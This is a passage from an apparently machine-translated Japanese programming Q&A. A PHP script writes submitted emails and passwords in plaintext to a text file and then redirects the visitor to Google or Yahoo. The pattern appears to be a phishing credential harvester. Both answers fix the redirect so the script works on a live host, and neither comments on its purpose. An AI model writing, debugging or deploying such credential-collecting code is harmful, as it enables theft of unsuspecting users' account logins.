0

このコードを使用して、ユーザー名とパスワードをテキスト ファイルに保存し、最終的に Web サイトにリダイレクトします。このコードは Google にリダイレクトされません。ローカルホスト内で実行すると完全に機能します(ローカルホストでは "header("Location: http://www.yahoo.com ");" とコメントします) ...しかし、これをホストに配置すると..そうではありませんだ。エラーメッセージもありませんが、完全に機能すると

<html>
<body>

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }
  else

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<script>location.href='http://www.google.com';</script>

</body>
</html>
4

2 に答える 2

1

ブラウザに出力する前にヘッダーを配置する必要があります。

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }
  else

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>

<script>location.href='http://www.google.com';</script>

</body>
</html>
于 2013-03-15T10:05:13.863 に答える
0

まず、「else」を削除できます。

次に、ヘッダーを書きたい場合は、出力がないことを確認してください。

<html>
<body>

そのため、?> タグの後にコードの上に移動し、その前にスペースがないことを確認する必要があります。

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>

<script>location.href='http://www.google.com';</script>

</body>
</html>
于 2013-03-15T10:10:57.747 に答える